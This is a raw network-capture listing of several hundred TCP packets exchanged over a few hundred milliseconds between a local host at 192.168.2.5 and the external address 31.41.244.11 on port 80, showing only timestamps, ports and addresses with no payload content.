Dec 20, 2024 02:11:27.747999907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.748060942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.750272989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.750334978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.750379086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.750427961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.752688885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.752762079 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.752801895 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.752856970 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.755045891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.755105972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.755136013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.755199909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.757313967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.757375002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.757428885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.757498026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.759608984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.759669065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.759727955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.759799004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.761882067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.761934996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.761980057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.762034893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.764148951 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.764205933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.764235020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.764287949 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.766365051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.766422987 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.766468048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.766521931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.768572092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.768627882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.768871069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.768930912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.770806074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.770862103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.770927906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.770982981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.772950888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.773010969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.773099899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.773161888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.775074005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.775130033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.775135040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.775188923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.777206898 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.777271032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.777403116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.777467966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.779288054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.779361963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.779381990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.779455900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.781399965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.781461000 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.781469107 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.781522036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.783478975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.783549070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.783596039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.783653975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.785609961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.785681009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.785743952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.785806894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.787708998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.787847996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.789407969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.789860010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.790064096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.792041063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.792373896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.794054031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.794240952 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.796165943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.796401024 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.798249960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.798291922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.799639940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.800339937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.800400972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.800497055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.800555944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.802396059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.802459002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.802500963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.802561045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.804506063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.804569006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.804609060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.804663897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.806651115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.806715965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.806756020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.806812048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.808715105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.808774948 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.808830023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.808887005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.810806990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.810868979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.810944080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.810998917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.812917948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.812978983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.813010931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.813070059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.815026045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.815084934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.815269947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.815340042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.817193985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.817255020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.817297935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.817353010 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.819267035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.819354057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.819399118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.819451094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.821377993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.821434975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.821441889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.821491957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.823539972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.823601961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.823762894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.823820114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.825591087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.825603008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.825656891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.827651978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.827702045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.827771902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.827826977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.829756975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.829823971 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.829860926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.829930067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.831840038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.831918955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.832077026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.832130909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.834007978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.834068060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.834156990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.834214926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.836051941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.836112976 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.836146116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.836200953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.838131905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.838197947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.838248014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.838304043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.840276957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.840337038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.840362072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.840415001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.842315912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.842375994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.842402935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.842420101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.844485044 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.844546080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.844563961 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.844644070 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.846576929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.846642971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.846647978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.846729040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.848656893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.848720074 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.848803997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.848861933 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.850763083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.850820065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.850857019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.850933075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.852855921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.852907896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.852932930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.852958918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.854959965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.855016947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.855098963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.855150938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.857078075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.857145071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.857177019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.857230902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.859209061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.859262943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.859277964 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.859333038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.861218929 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.861275911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.861618042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.861682892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.863276958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.863363981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.863389969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.863445044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.865303040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.865358114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.865523100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.865580082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.867345095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.867403030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.867480040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.867530107 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.869381905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.869438887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.869452953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.869509935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.871428967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.871484041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.871530056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.871583939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.873456955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.873584986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.873714924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.873714924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.875401974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.875463963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.875519037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.875571012 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.877404928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.877470016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.877509117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.877567053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.879426003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.879488945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.879527092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.879585981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.881603003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.881664038 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.881720066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.881778002 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.883513927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.883609056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.883797884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.883869886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.885529995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.885596991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.885863066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.885929108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.887432098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.887494087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.889192104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.889256954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.889430046 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.889488935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.889569998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.889631033 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.891263962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.891355991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.891376972 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.891431093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.893203974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.893260956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.893359900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.893421888 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.895097017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.895180941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.957976103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.958072901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.958210945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.958410025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.958425045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.958436012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.958479881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.959604979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.959692955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.959747076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.959808111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.960887909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.960899115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.960999966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.962867022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.962896109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.962928057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.962968111 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.963386059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.963433027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.963531017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.963577032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.964543104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.964590073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.964632988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.964679003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.965780020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.965828896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.965876102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.965924025 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.967295885 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.967319012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.967350006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.967381954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.968230009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.968277931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.968297958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.968342066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.969410896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.969459057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.969490051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.969531059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.970576048 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.970649004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.970654011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.970696926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.970930099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.970974922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.971045017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.971088886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.971744061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.971793890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.971805096 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.971848965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.972625971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.972672939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.972713947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.972759962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.973253965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.973298073 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.973391056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.973436117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.974064112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.974112034 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.974298954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.974345922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.974865913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.974889040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:27.974911928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.974934101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:27.975611925 CET	80	49875	31.41.244.11	192.168.2.5
